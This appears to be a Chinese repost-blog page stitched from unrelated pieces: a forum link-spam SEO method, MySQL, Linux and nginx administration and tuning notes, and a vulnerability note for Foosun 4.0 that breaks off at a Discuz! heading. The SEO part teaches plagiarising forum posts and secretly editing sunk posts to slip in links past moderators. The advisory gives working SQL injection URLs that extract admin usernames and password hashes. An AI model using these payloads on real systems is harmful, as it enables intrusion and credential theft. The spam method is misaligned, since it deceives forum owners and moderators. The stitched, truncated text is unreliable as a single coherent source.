包罗万象--好东西要收藏--共享无限

　　相信很多朋友都做过在国外高PR的论坛做过链接，如发软文，做签名等，但国外对这些很敏感，经常刚做的链接，几分钟就被删了，而且帐号还被禁止了，我刚开始也一样，很被动，很累而且还没有效果。

　　我的方法如下，如有意见请共同讨论：

　　1，先注册帐号，并且把地址等自己的信息记录下来，不要马上做签名。

　　如果自己有内容就发到里面论坛里面，不要带有任何链接，只要不是很软的文章，有实用性，一般都不会删除。

　　如果是没有相关的内容，我教一个方法：可以把这个论坛里面的最底层的内容抄过来先做个伪原创，起个别的题目，这样一般都能通过，不会被删。

　　2，可以在这接下来的几天发几篇文章，如果可能的话发一些跟你网站相关的文章(跟论坛相关的内容更佳)，并且包括你的关键词，注意一定不要有链接。这样做是为下面做链接作准备。

　　3，过了一两个星期后，这些文章都沉下去了，这时你就可以做相关的链接了，加上签名，同时在你的文章中的关键词做上链接，论坛一般修改文章是不会当然新的内容，所以不会在第一个出现，即不会更新所在的页码，当然管理员发现的机率就很底了。你的链接就完成了。

　　4，完成文章修改后再把相关文章的地址向GG提交一下，这样就可以很快成为你的外链接了。

　　5，另，现在很多高质量的论坛都是IT内容的，这个链接就更好做了，做一个有问题的页面放在自己的网站中，把这个问题直接向论坛里发问，把地址发过去即可，同时做一个图片示意一下你的问题所在，把图片上传到自己的空间里面，论坛中用链接链引出图片，这样也可以算有点外链吧，算是引用，对吧，过几天等帖子沉了你也可以做一些签名或关键词链接了。

　　目前来讲这是很有效果的方法，如果大家觉得不错请支持一下!

　调用多次INSERT语句不就可以插入多条记录了吗！但使用这种方法要增加服务器的负荷，因为，执行每一次SQL服务器都要同样对SQL进行分析、优化等操作。幸好MySQL提供了另一种解决方案，
就是使用一条INSERT语句来插入多条记录。这并不是标准的SQL语法，因此只能在MySQL中使用。

 
    INSERT INTO users(name, age)
　　VALUES('姚明', 25), ('比尔.盖茨', 50), ('火星人', 600);

2. WITH ROLLUP

GROUP BY子句允许一个将额外行添加到简略输出端 WITH ROLLUP 修饰符。这些行代表高层(或高聚集)简略操作。ROLLUP 因而允许你在多层分析的角度回答有关问询的问题

  [mysqld]
  port = 3306
  serverid = 1 
  socket = /tmp/mysql.sock
  skip-locking
  # 避免MySQL的外部锁定，减少出错几率增强稳定性。
  skip-name-resolve

禁止MySQL对外部连接进行DNS解析，使用这一选项可以消除MySQL进行DNS解析的时间。但需要注意，如果开启该选项，则所有远程主机连接授权都要使用IP地址方式，否则MySQL将无法正常处理连接请求！

back_log = 384

指定MySQL可能的连接数量。当MySQL主线程在很短的时间内接收到非常多的连接请求，该参数生效，主线程花费很短的时间检查连接并且启动一个新线程。

back_log参数的值指出在MySQL暂时停止响应新请求之前的短时间内多少个请求可以被存在堆栈中。如果系统在一个短时间内有很多连接，则需要增大该参数的值，该参数值指定到来的TCP/IP连接的侦听队列的大小。不同的操作系统在这个队列大小上有它自己的限制。

试图设定back_log高于你的操作系统的限制将是无效的。默认值为50。对于Linux系统推荐设置为小于512的整数。

     key_buffer_size = 256M
  # key_buffer_size指定用于索引的缓冲区大小，增加它可得到更好的索引处理性能。
    对于内存在4GB左右的服务器该参数可设置为256M或384M。
  注意：该参数值设置的过大反而会是服务器整体效率降低！ 
     max_allowed_packet = 4M
    thread_stack = 256K
    table_cache = 128K
    sort_buffer_size = 6M

查询排序时所能使用的缓冲区大小。注意：该参数对应的分配内存是每连接独占！如果有100个连接，那么实际分配的总共排序缓冲区大小为100 × 6 ＝ 600MB。所以，对于内存在4GB左右的服务器推荐设置为6-8M。

 read_buffer_size = 4M

读查询操作所能使用的缓冲区大小。和sort_buffer_size一样，该参数对应的分配内存也是每连接独享！

join_buffer_size = 8M

联合查询操作所能使用的缓冲区大小，和sort_buffer_size一样，该参数对应的分配内存也是每连接独享！

     myisam_sort_buffer_size = 64M
    table_cache = 512
    thread_cache_size = 64
    query_cache_size = 64M

指定MySQL查询缓冲区的大小。可以通过在MySQL控制台执行以下命令观察：

 # > SHOW VARIABLES LIKE '%query_cache%';
 # > SHOW STATUS LIKE 'Qcache%';
 # 如果Qcache_lowmem_prunes的值非常大，则表明经常出现缓冲不够的情况；

如果Qcache_hits的值非常大，则表明查询缓冲使用非常频繁，如果该值较小反而会影响效率，那么可以考虑不用查询缓冲；Qcache_free_blocks，如果该值非常大，则表明缓冲区中碎片很多。

     tmp_table_size = 256M
    max_connections = 768

指定MySQL允许的最大连接进程数。如果在访问论坛时经常出现Too Many Connections的错误提 示，则需要增大该参数值。

     max_connect_errors = 10000000
    wait_timeout = 10

指定一个请求的最大连接时间，对于4GB左右内存的服务器可以设置为5-10。

     thread_concurrency = 8

该参数取值为服务器逻辑CPU数量×2，在本例中，服务器有2颗物理CPU，而每颗物理CPU又支持H.T超线程，所以实际取值为4 × 2 ＝ 8

    skip-networking

开启该选项可以彻底关闭MySQL的TCP/IP连接方式，如果WEB服务器是以远程连接的方式访问MySQL数据库服务器则不要开启该选项！否则将无法正常连接！

++查看mysql安装编译参数
cat $PATH/mysql/bin/mysqlbug | grep CONFIGURE_LINE

++启动/关闭mysql
$path/mysqld_safe -user=mysql &
$/mysqladmin -p shutdown

++修改root口令
mysqladmin -u root -p password '新密码'

++查看服务器状态
$path/mysqladmin version -p

++连接远端mysql服务器
$path/mysql -u 用户名 -p #连接本机
$path/mysql -h 远程主机IP -u 用户名 -p#连接远程MYSQL服务器

++创建/删除 数据库或表
mysqladmin -u root -p create xxx
mysql>create database 数据库名;
create TABLE items (
id INT(5) NOT NULL AUTO_INCREMENT PRIMARY KEY ,
symbol CHAR(4) NOT NULL,
username CHAR(8),
INDEX sym (symbol),INDEX …..
UNIQUE(username)
) type=innodb;
mysql>drop database [if exists] 数据库名
mysql>create table 表名;
mysql>drop table 表名;

++复制表结构
create table target_table like source_table
select * into NEW_TABLE from OLD_TABLE where 1=2

++查看数据库和查看数据库下的表
mysql>show databases;
mysql>show tables;
mysql>desc 表名; #查看具体表结构信息
SHOW CREATE DATABASE db_name #显示创建db_name库的语句
SHOW CREATE TABLE tbl_name  #显示创建tbl_name表的语句

++创建用户
mysql>grant select,insert,update,delete,alter on mydb.* to test2@localhost identified by "abc";
mysql>grant all privileges on *.* to test1@'%' identified by "abc";
mysql>flush privileges;

++用户管理
mysql> update user set password=password ('11111′) where user='test1′; #修改test1密码为111111
DELETE FROM user WHERE User="testuser" and Host="localhost"; #删除用户帐号
SHOW GRANTS FOR user1@localhost; #显示创建user1用户的grant语句
revoke all privileges on *.* from 'user1′@'%' ; #回收user1对所有库表的权限

++mysql数据库的备份和恢复
mysqldump –all-databases -h 数据库服务器地址 -u 用户名 -p密码 > xxx.sql #备份所有数据库
mysqldump –databases 数据库名 -h 数据库服务器地址 -u 用户名 -p密码 >  xxx.sql #备份指定数据库
mysqldump -u 用户名 -p 数据库名 表名> 导出的文件名 ##导出单独的表
mysql -uroot -p xxx < aaa.sql #导入表
mysqldump -u 用户名  -p -d –add-drop-table 数据库名 > xxxx.sql  #导出一个数据库结构
-d 没有数据 –add-drop-table 在每个create语句之前增加一个drop table

++忘记mysql密码
先停止所有mysql服务进程
mysqld_safe –skip-grant-tables & mysql
mysql>use mysql;
mysql>update user set password=password('111111′) where user='root';
mysql>flush privileges;
然后重启mysql并以新密码登入即可

++当前使用的数据库
select database();

===数据库日常操作维护====
++创建表
create table table_name
(column_name datatype {identity |null|not null},f_time TIMESTAMP(8),
…)ENGINE=MyISAM AUTO_INCREMENT=3811 DEFAULT CHARSET=utf8;
例: CREATE TABLE guest (name varchar(10),sex varchar(2),age int(3),career varchar(10));
# desc guest可查看表结构信息
# TIMESTAMP(8) YYYYMMDD 其中(2/4/6/8/10/12/14)对应不同的时间格式
SHOW CREATE TABLE tbl_name  #显示创建tbl_name表的语句

++创建索引
可以在建表的时候加入index indexname (列名)创建索引,
也可以手工用命令生成 create index index_name on table_name (col_name[(length)],… )
CREATE INDEX number ON guest (number(10));
SHOW INDEX FROM tbl_name [FROM db_name] #显示现有索引
mysql> repair TABLE date QUICK;  #索引列相关变量变化后自动重建索引

++查询及常用函数
mysql> select t1.name, t2.salary from employee AS t1, info AS t2 where t1.name = t2.name;
mysql> select college, region, seed from tournament ORDER BY region, seed;
mysql> select col_name from tbl_name WHERE col_name > 0;
mysql> select DISTINCT ……  [DISTINCT关键字可以除去重复的记录]
mysql> select DATE_FORMAT(NOW(),'%m/%d/%Y') as DATE, DATE_FORMAT(NOW(),'%H:%m:%s') AS TIME;
mysql> select CURDATE(),CURTIME(),YEAR(NOW()),MONTH(NOW()),DAYOFMONTH(NOW()),HOUR(NOW()),MINUTE(NOW());
mysql> select UNIX_TIMESTAMP(),UNIX_TIMESTAMP(20080808),FROM_UNIXTIME(UNIX_TIMESTAMP()); mysql> select PASSWORD("secret"),MD5("secret");   #加密密码用
mysql> select count(*) from tab_name order by id [DESC|ASC]; #DESC倒序/ASC正序
* 函数count,AVG,SUM,MIN,MAX,LENGTH字符长度,LTRIM去除开头的空头,RTRIM去尾部空格,TRIM(str)去除首部尾部空格,LETF/RIGHT(str,x)返回字符串str的左边/右边x个字符,SUBSTRING(str,x,y)返回str中的x位置起至位置y的字符mysql> select BINARY 'ross' IN ('Chandler','Joey', 'Ross'); #BINARY严格检查大小写
* 比较运算符IN,BETWEEN,IS NULL,IS NOT NULL,LIKE,REGEXP/RLIKE
mysql> select count(*),AVG(number_xx),Host,user from mysql.user  GROUP by user [DESC|ASC] HAVING user=root; #分组并统计次数/平均值

++UNIX_TIMESTAMP(date)
返回一个Unix时间戳记(从'1970-01-01 00:00:00′GMT开始的秒数)
mysql> select UNIX_TIMESTAMP();
mysql> select UNIX_TIMESTAMP('1997-10-04 22:23:00′);
mysql> select FROM_UNIXTIME(875996580);   #根据时间戳记算出日期

++控制条件函数
mysql> select if(1<10,2,3), IF(55>100,'true','false');
#IF()函数有三个参数,第一个是被判断的表达式,如果表达式为真,返回第二个参数,如果为假,返回第三个参数.
mysql> select CASE WHEN (2+2)=4 THEN "OK" WHEN (2+2)<>4 THEN 'NOT OK' END AS status;

++系统信息函数
mysql> select DATABASE(),VERSION(),USER();
mysql> select BENCHMARK(9999999,LOG(RAND()*PI())) AS PERFORMANACE; #一个测试mysql运算性能工具

++将wp_posts表中post_content字段中文字"old"替换为"new"
update wp_posts set post_content=replace(post_content,'old','new')

++改变表结构
alter table table_name alter_spec [, alter_spec ...]
例：alter table dbname add column userid int(11) not null primary key auto_increment;
这样，就在表dbname中添加了一个字段userid，类型为int(11)。

++建表后新增主键
alter  table tablename add primary key(id);

++调整列顺序
alter table tablename CHANGE id id int(11) first;

++修改表中数据
insert [into] table_name [(column(s))] values (expression(s))
例：mysql>insert into mydatabase values('php','mysql','asp','sqlserver','jsp','oracle');
mysql> create table user select host,user from mysql.user where 1=0;
mysql> insert into user(host,user) select host,user from mysql.user;

++更改表名
命令：rename table 原表名 to 新表名;

++表的数据更新
mysql>update table01 set field04=19991022[, field05=062218] where field01=1;

++删除数据
mysql>delete from table01 where field01=3;
#如果想要清空表的所有纪录,建议用truncate table tablename而不是delete from tablename.

++SHELL提示符下运行SQL命令
mysql -e "show slave status\G "

++坏库扫描修复
# cd /var/lib/mysql/xxx && myisamchk table_name
myisamchk -r table_name.MYI
#mysql> repair table tablename ;

++insert into a (x) values ('11a')
出现: ata truncated for column 'x' at row 1
解决办法:
在my.ini里找到
sql-mode="STRICT_TRANS_TABLES,NO_AUTO_Create_USER,NO_ENGINE_SUBSTITUTION"
把其中的STRICT_TRANS_TABLES,去掉,然后重启mysql就ok了

++innodb支持事务
新表:create TABLE table-name (field-definitions) TYPE=INNODB;
旧表: alter TABLE table-name TYPE=INNODB;
mysql> start transaction #标记一个事务的开始
mysql> insert into…..      #数据变更
mysql> ROLLBACK或commit  #回滚或提交
mysql> SET  AUTOCOMMIT=1; #设置自动提交
mysql> select @@autocommit; #查看当前是否自动提交

++表锁定相关
mysql> LOCK TABLE users READ; # 对user表进行只读锁定
mysql> LOCK TABLES user READ, pfolios WRITE #多表锁控制
mysql> UNLOCK TABLES; #不需要指定锁定表名字, MySQL会自动解除所有表锁定

++如何清除mysql的mysql-bin日志
mysql> show master logs; #查询musql-bin,mysql操作日志
mysql> reset master;全部删除
mysql> purge master logs to 'mysql-bin.00001′; #删除,保留最新
mysql> purge master logs to "date" ;删除除date以前的日志
#直接删除也可以，然后记得FLUSH LOGS
#也可以修改my.cnf
–expire_logs_days=3

=====一些mysql优化与管理======
++mysql大量的 unauthenticated user错误解决
编辑服务控制脚本,在启动命令行加入–skip-name-resolve ,然后重启MysqlD服务

++管理用命令
show variables #查看所有变量值
– max_connections 数据库允许的最大可连接数,
#需要加大max_connections可以在my.cnf中加入 max_connections=1000,可以对与下面的threads_connected值决定是否需要增大.

show status [like ....];
– threads_connected 数据库当前的连接线程数
#FLUSH STATUS 可以重置一些计数器

show processl

–Enable Slow Query Log
long_query_time=3
log-slow-queries=/var/log/mysql/log-slow-queries.log
log-queries-not-using-indexes
# mysqldumpslow -s c -t 20 host-slow.log  #访问次数最多的20个sql语句
# mysqldumpslow -s r -t 20 host-slow.log  #返回记录集最多的20个sql

–others
max_connections=500  #用过的最大连接数SHOW Status like 'max_used_connection';
wait_timeout=10   #终止所有空闲时间超过 10 秒的连接
table_cache=64 #任何时间打开表的总数
max_binlog_size=512M #循环之前二进制日志的最大规模
expire_logs_days = 7 #仅保留7天的binlog
max_connect_errors = 100
query_cache_size = 256M #查询缓存,,默认是0
#可用 SHOW STATUS LIKE 'qcache%';查看命中率
#FLUSH STATUS重置计数器,  FLUSH QUERY CACHE清缓存
thread_cache = 40 #线程使用,SHOW STATUS LIKE 'Threads_created %'; 值快速增加的话考虑加大
key_buffer = 16M #show status like '%key_read%';  Key_reads 代表命中磁盘的关键字请求个数
#A: 到底 Key Buffer 要设定多少才够呢? Q: MySQL 只会 Cache 索引(*.MYI)，因此参考所有 MYI文件的总大小
sort_buffer_size = 4M  #查询排序时所能使用的缓冲区大小,每连接独享4M
#show status like '%sort%'; 如sort_merge_passes很大，就表示加大
sort_buffer_sizesort_buffer_size = 6M #查询排序时所能使用的缓冲区大小,这是每连接独享值6M
read_buffer_size = 4M　#读查询操作所能使用的缓冲区大小
join_buffer_size = 8M    #联合查询操作所能使用的缓冲区大小
skip-locking  #取消文件系统的外部锁
skip-name-resolve
thread_concurrency = 8　　# 最大并发线程数,cpu数量*2
thread_cache_size = 64      # 按照内存大小来设置, 1G=8, 2G=16, 3G=32, >3G=64
tmp_table_size = 256M  #临时表大小
back_log = 300 #MySQL暂时停止响应新请求之前的短时间内多少个请求可以被存在堆栈中。

附my.cnf

[client]
port            = 3306
socket          = /var/lib/mysql/mysql.sock

[mysqld]
datadir=/blog.zhangjianfeng.com/data/mysql
port            = 3306
socket          = /var/lib/mysql/mysql.sock
skip-locking
skip-name-resolve
key_buffer = 128M
max_allowed_packet = 2M
table_cache = 128
sort_buffer_size = 6M
read_buffer_size = 4M
join_buffer_size = 8M
read_rnd_buffer_size = 8M
myisam_sort_buffer_size = 64M
thread_cache_size = 32
query_cache_size= 256M
thread_concurrency = 4
max_binlog_size=512M
tmp_table_size = 256M
log_slow_queries = /blog.zhangjianfeng.com/logs/mysql-slow.log
long_query_time = 2
log-bin=mysql-bin
server-id       = 1
max_connections = 1000
back_log = 300
wait_timeout = 30
open_files_limit = 5000

[safe_mysqld]
err-log=/var/lib/mysql/mysqld.log

[mysqldump]
quick
max_allowed_packet = 16M

[mysql]
no-auto-rehash

[isamchk]
key_buffer = 500M
sort_buffer_size = 64M
read_buffer = 2M
write_buffer = 2M

[myisamchk]
key_buffer = 64M
sort_buffer_size = 64M
read_buffer = 2M
write_buffer = 2M

[mysqlhotcopy]
interactive-timeout

检查my.cnf设置是否合理的一个工具  http://www.day32.com/MySQL/tuning-primer.sh
mysqlreport  http://hackmysql.com/mysqlreport

++ 杂
* 发现问题：系统响应慢、load avg >=5、IO wait >= 10、swap使用情况、mysql status、mysql report、mysql 5.1 profline
* xfs：如果可能，mysql数据文件系统分区采用xfs，效果高30％～50％
* innodb_buffer_pool_size：如果是专用的数据库服务器，设定为内存的80％吧
* MyIsam适合低并发、低更新、高读取的需求，InnoDB适合高并发、高更新、高读取的需求，MyIsam读取的速度比InnoDB快许多。
* Explain：查询检查、查询优化
* 联合索引：貌似MySQL一次查询只用到一个索引，联合索引要注意先后顺序的问题，"左派"比较吃香。
* 字段按需配置，能用TinyINT的不用INT，字段越短越好，具体差别可以参见：http://chaoqun.17348.com/2008/11/mysql-data-types-int/
* 把大表拆成小表，如果表字段里面有Text，尽量拆开吧。
* 缩短事务周期
* 字符型的字段，最好采用前缀索引。
* 复杂的查询拆成小的简单的查询，比如用循环查询替代。这点不敢苟同，还是按照自己的业务测试一下吧。一条sql语句总比N条要快吧，除非有问题。
* left join：把条目数少的放左边，如果你了解left join的话，这个是肯定的。
* 实时备份：用slave做实时备份吧，一个slave就是一个备份。

转://http://wap.zhangjianfeng.com/index-wap2.php?p=208

一：查看cpu

more /proc/cpuinfo | grep "model name"
grep "model name" /proc/cpuinfo

如果觉得需要看的更加舒服

grep "model name" /proc/cpuinfo | cut -f2 -d:

二：查看内存

grep MemTotal /proc/meminfo

grep MemTotal /proc/meminfo | cut -f2 -d:

free -m |grep "Mem" | awk '{print $2}'

三：查看cpu是32位还是64位

查看CPU位数(32 or 64)

getconf LONG_BIT

四：查看当前linux的版本

more /etc/redhat-release
cat /etc/redhat-release

五：查看内核版本

uname -r

uname -a

六：查看当前时间

date

上面已经介绍如何同步时间了，

七：查看硬盘和分区

df -h

fdisk -l

也可以查看分区

du -sh

可以看到全部占用的空间

du /etc -sh

可以看到这个目录的大小

八：查看安装的软件包

查看系统安装的时候装的软件包

cat -n /root/install.log

more /root/install.log | wc -l

查看现在已经安装了那些软件包

rpm -qa

rpm -qa | wc -l

yum list installed | wc -l

不过很奇怪，我通过rpm，和yum这两种方式查询的安装软件包，数量并不一样。没有找到原因。

九：查看键盘布局

cat /etc/sysconfig/keyboard

cat /etc/sysconfig/keyboard | grep KEYTABLE | cut -f2 -d=

十：查看selinux情况

sestatus

sestatus | cut -f2 -d:

cat /etc/sysconfig/selinux

十一：查看ip，mac地址

在ifcfg-eth0 文件里你可以看到mac，网关等信息。

ifconfig

cat /etc/sysconfig/network-scripts/ifcfg-eth0 | grep IPADDR

cat /etc/sysconfig/network-scripts/ifcfg-eth0 | grep IPADDR | cut -f2 -d=

ifconfig eth0 |grep "inet addr:" |awk '{print $2}'|cut -c 6-

ifconfig   | grep 'inet addr:'| grep -v '127.0.0.1' | cut -d: -f2 | awk '{ print $1}'

查看网关

cat /etc/sysconfig/network

查看dns

cat /etc/resolv.conf

十二：查看默认语言

echo $LANG $LANGUAGE

cat /etc/sysconfig/i18n

十三：查看所属时区和是否使用UTC时间

cat /etc/sysconfig/clock

十四：查看主机名

hostname

cat /etc/sysconfig/network

修改主机名就是修改这个文件，同时最好也把host文件也修改。

查看pci信息    lspci
查看硬盘信息  df -lh

curl --head www.163.com               查看163.com的服务器环境

uptime              查看开机时间多长

ifconfig eth0 up    启用网卡eth0

/etc/initd/network restart 重启网络服务

一般来说nginx 配置文件中对优化比较有作用的为以下几项：

worker_processes 8;

nginx 进程数，建议按照cpu 数目来指定，一般为它的倍数。

worker_cpu_affinity 00000001 00000010 00000100 00001000 00010000 00100000 01000000 10000000;

为每个进程分配cpu，上例中将8 个进程分配到8 个cpu，当然可以写多个，或者将一
个进程分配到多个cpu。

worker_rlimit_nofile 102400;

这个指令是指当一个nginx 进程打开的最多文件描述符数目，理论值应该是最多打开文
件数（ulimit -n）与nginx 进程数相除，但是nginx 分配请求并不是那么均匀，所以最好与ulimit -n 的值保持一致。

use epoll;

使用epoll 的I/O 模型

worker_connections 102400;

每个进程允许的最多连接数， 理论上每台nginx 服务器的最大连接数为worker_processes*worker_connections。

 keepalive_timeout 60;

keepalive 超时时间。

 client_header_buffer_size 4k;

客户端请求头部的缓冲区大小，这个可以根据你的系统分页大小来设置，一般一个请求
头的大小不会超过1k，不过由于一般系统分页都要大于1k，所以这里设置为分页大小。分页大小可以用命令getconf PAGESIZE 取得。

 open_file_cache max=102400 inactive=20s;

这个将为打开文件指定缓存，默认是没有启用的，max 指定缓存数量，建议和打开文件数一致，inactive 是指经过多长时间文件没被请求后删除缓存。

 open_file_cache_valid 30s;

这个是指多长时间检查一次缓存的有效信息。

 open_file_cache_min_uses 1;

open_file_cache 指令中的inactive 参数时间内文件的最少使用次数，如果超过这个数字，文件描述符一直是在缓存中打开的，如上例，如果有一个文件在inactive 时间内一次没被使用，它将被移除。

 关于内核参数的优化：

net.ipv4.tcp_max_tw_buckets = 6000

timewait 的数量，默认是180000。

 net.ipv4.ip_local_port_range = 1024 65000

允许系统打开的端口范围。

 net.ipv4.tcp_tw_recycle = 1

启用timewait 快速回收。

 net.ipv4.tcp_tw_reuse = 1

开启重用。允许将TIME-WAIT sockets 重新用于新的TCP 连接。

 net.ipv4.tcp_syncookies = 1

开启SYN Cookies，当出现SYN 等待队列溢出时，启用cookies 来处理。

 net.core.somaxconn = 262144

web 应用中listen 函数的backlog 默认会给我们内核参数的net.core.somaxconn 限制到128，而nginx 定义的NGX_LISTEN_BACKLOG 默认为511，所以有必要调整这个值。

 net.core.netdev_max_backlog = 262144

每个网络接口接收数据包的速率比内核处理这些包的速率快时，允许送到队列的数据包的最大数目。

net.ipv4.tcp_max_orphans = 262144

系统中最多有多少个TCP 套接字不被关联到任何一个用户文件句柄上。如果超过这个数字，孤儿连接将即刻被复位并打印出警告信息。这个限制仅仅是为了防止简单的DoS 攻击，不能过分依靠它或者人为地减小这个值，更应该增加这个值(如果增加了内存之后)。

net.ipv4.tcp_max_syn_backlog = 262144

记录的那些尚未收到客户端确认信息的连接请求的最大值。对于有128M 内存的系统而言，缺省值是1024，小内存的系统则是128。

net.ipv4.tcp_timestamps = 0

时间戳可以避免序列号的卷绕。一个1Gbps 的链路肯定会遇到以前用过的序列号。时间戳能够让内核接受这种"异常"的数据包。这里需要将其关掉。

net.ipv4.tcp_synack_retries = 1

为了打开对端的连接，内核需要发送一个SYN 并附带一个回应前面一个SYN 的ACK。也就是所谓三次握手中的第二次握手。这个设置决定了内核放弃连接之前发送SYN+ACK 包的数量。

net.ipv4.tcp_syn_retries = 1

在内核放弃建立连接之前发送SYN 包的数量。

net.ipv4.tcp_fin_timeout = 1

如果套接字由本端要求关闭，这个参数决定了它保持在FIN-WAIT-2 状态的时间。对端可以出错并永远不关闭连接，甚至意外当机。缺省值是60 秒。2.2 内核的通常值是180 秒，3你可以按这个设置，但要记住的是，即使你的机器是一个轻载的WEB 服务器，也有因为大量的死套接字而内存溢出的风险，FIN- WAIT-2 的危险性比FIN-WAIT-1 要小，因为它最多只能吃掉1.5K 内存，但是它们的生存期长些。

net.ipv4.tcp_keepalive_time = 30

当keepalive 起用的时候，TCP 发送keepalive 消息的频度。缺省是2 小时。

下面贴一个完整的内核优化设置：

net.ipv4.ip_forward = 0
net.ipv4.conf.default.rp_filter = 1
net.ipv4.conf.default.accept_source_route = 0
kernel.sysrq = 0
kernel.core_uses_pid = 1
net.ipv4.tcp_syncookies = 1
kernel.msgmnb = 65536
kernel.msgmax = 65536
kernel.shmmax = 68719476736
kernel.shmall = 4294967296
net.ipv4.tcp_max_tw_buckets = 6000
net.ipv4.tcp_sack = 1
net.ipv4.tcp_window_scaling = 1
net.ipv4.tcp_rmem = 4096 87380 4194304
net.ipv4.tcp_wmem = 4096 16384 4194304
net.core.wmem_default = 8388608
net.core.rmem_default = 8388608
net.core.rmem_max = 16777216
net.core.wmem_max = 16777216
net.core.netdev_max_backlog = 262144
net.core.somaxconn = 262144
net.ipv4.tcp_max_orphans = 3276800
net.ipv4.tcp_max_syn_backlog = 262144
net.ipv4.tcp_timestamps = 0
net.ipv4.tcp_synack_retries = 1
net.ipv4.tcp_syn_retries = 1
net.ipv4.tcp_tw_recycle = 1
net.ipv4.tcp_tw_reuse = 1
net.ipv4.tcp_mem = 94500000 915000000 927000000
net.ipv4.tcp_fin_timeout = 1
net.ipv4.tcp_keepalive_time = 30
net.ipv4.ip_local_port_range = 1024 65000

下面是一个简单的nginx 配置文件：

user www www;
worker_processes 8;
worker_cpu_affinity 00000001 00000010 00000100 00001000 00010000 00100000
01000000;
error_log /www/log/nginx_error.log crit;
pid /usr/local/nginx/nginx.pid;
worker_rlimit_nofile 204800;
events
{
use epoll;
worker_connections 204800;
}
http
{
include mime.types;
default_type application/octet-stream;
charset utf-8;
server_names_hash_bucket_size 128;
client_header_buffer_size 2k;
large_client_header_buffers 4 4k;
client_max_body_size 8m;
sendfile on;
tcp_nopush on;
keepalive_timeout 60;
fastcgi_cache_path /usr/local/nginx/fastcgi_cache levels=1:2
keys_zone=TEST:10m
inactive=5m;
fastcgi_connect_timeout 300;
fastcgi_send_timeout 300;
fastcgi_read_timeout 300;
fastcgi_buffer_size 4k;
fastcgi_buffers 8 4k;
fastcgi_busy_buffers_size 8k;
fastcgi_temp_file_write_size 8k;
fastcgi_cache TEST;
fastcgi_cache_valid 200 302 1h;
fastcgi_cache_valid 301 1d;
fastcgi_cache_valid any 1m;
fastcgi_cache_min_uses 1;
fastcgi_cache_use_stale error timeout invalid_header http_500;
open_file_cache max=204800 inactive=20s;
open_file_cache_min_uses 1;
open_file_cache_valid 30s;
tcp_nodelay on;
gzip on;
gzip_min_length 1k;
gzip_buffers 4 16k;
gzip_http_version 1.0;
gzip_comp_level 2;
gzip_types text/plain application/x-javascript text/css application/xml;
gzip_vary on;
server
{
listen 8080;
server_name backup.aiju.com;
index index.php index.htm;
root /www/html/;
location /status
{
stub_status on;
}
location ~ .*\.(php|php5)?$
{
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
include fcgi.conf;
}
location ~ .*\.(gif|jpg|jpeg|png|bmp|swf|js|css)$
 {
expires 30d;
}
log_format access '$remote_addr -- $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" $http_x_forwarded_for';
access_log /www/log/access.log access;
}
}

关于FastCGI 的几个指令：

fastcgi_cache_path /usr/local/nginx/fastcgi_cache levels=1:2 keys_zone=TEST:10minactive=5m;

这个指令为FastCGI 缓存指定一个路径，目录结构等级，关键字区域存储时间和非活动删除时间。

fastcgi_connect_timeout 300;

指定连接到后端FastCGI 的超时时间。

fastcgi_send_timeout 300;

向FastCGI 传送请求的超时时间，这个值是指已经完成两次握手后向FastCGI 传送请求的超时时间。

fastcgi_read_timeout 300;

接收FastCGI 应答的超时时间，这个值是指已经完成两次握手后接收FastCGI 应答的超时时间。

fastcgi_buffer_size 4k;

指定读取FastCGI 应答第一部分需要用多大的缓冲区，一般第一部分应答不会超过1k，由于页面大小为4k，所以这里设置为4k。

fastcgi_buffers 8 4k;

指定本地需要用多少和多大的缓冲区来缓冲FastCGI 的应答。

fastcgi_busy_buffers_size 8k;

这个指令我也不知道是做什么用，只知道默认值是fastcgi_buffers 的两倍。

fastcgi_temp_file_write_size 8k;

在写入fastcgi_temp_path 时将用多大的数据块，默认值是fastcgi_buffers 的两倍。

fastcgi_cache TEST

开启FastCGI 缓存并且为其制定一个名称。个人感觉开启缓存非常有用，可以有效降低CPU 负载，并且防止502 错误。

fastcgi_cache_valid 200 302 1h;
fastcgi_cache_valid 301 1d;
fastcgi_cache_valid any 1m;

为指定的应答代码指定缓存时间，如上例中将200，302 应答缓存一小时，301 应答缓存1 天，其他为1 分钟。

fastcgi_cache_min_uses 1;

缓存在fastcgi_cache_path 指令inactive 参数值时间内的最少使用次数，如上例，如果在5 分钟内某文件1 次也没有被使用，那么这个文件将被移除。

fastcgi_cache_use_stale error timeout invalid_header http_500;

不知道这个参数的作用，猜想应该是让nginx 知道哪些类型的缓存是没用的。以上为nginx 中FastCGI 相关参数，另外，FastCGI 自身也有一些配置需要进行优化，如果你使用php-fpm 来管理FastCGI，可以修改配置文件中的以下值：

<value name="max_children">60</value>

同时处理的并发请求数，即它将开启最多60 个子线程来处理并发连接。

<value name="rlimit_files">102400</value>

最多打开文件数。

<value name="max_requests">204800</value>

每个进程在重置之前能够执行的最多请求数。

下面贴几张测试结果图。

下图为同时在6 台机器运行webbench -c 30000 -t 600 http://backup.aiju.com:8080/index.html 命令后的测试结果：

使用netstat 过滤后的连接数：

php 页面在status 中的结果（php 页面为调用phpinfo）：

php 页面在netstat 过滤后的连接数：

未使用FastCGI 缓存之前的服务器负载：

此时打开php 页面已经有些困难，需要进行多次刷新才能打开。上图中cpu0 负载偏低
是因为测试时将网卡中断请求全部分配到cpu0 上，并且在nginx 中开启7 个进程分别制定到cpu1-7。

使用FastCGI 缓存之后：

此时可以很轻松的打开php 页面。
这个测试并没有连接到任何数据库，所以并没有什么参考价值，不过不知道上述测试是否已经到达极限，根据内存和cpu 的使用情况来看似乎没有，但是已经没有多余的机子来让我运行webbench 了。囧

转载自 http://bbs.linuxtone.org/thread-4504-1-1.html

风讯4.0 user/SetNextOptions.asp sql注入漏洞

风讯4.0

/user/SetNextOptions.asp中对用户数据验证不严，存在sql注入漏洞。  

构造注入  user/SetNextOptions.asp?sType=1&EquValue=aaaa&SelectName=aaa&ReqSql=select+1,admin_name,3,4,5,6,7,8++from+FS_MF_Admin"admin_name"管理用户名数据库表    user/SetNextOptions.asp?sType=1&EquValue=aaaa&SelectName=aaa&ReqSql=select+1,admin_pass_word,3,4,5,6,7,8++from+FS_MF_Admin"admin_pass_word"管理密码数据库表

SEBUG临时解决办法：  对ReqSql参数进行过滤    请参考官方补丁

Discuz! 7.1 & 7.2 远程代码执行漏洞

Discuz! 7.1 & 7.2

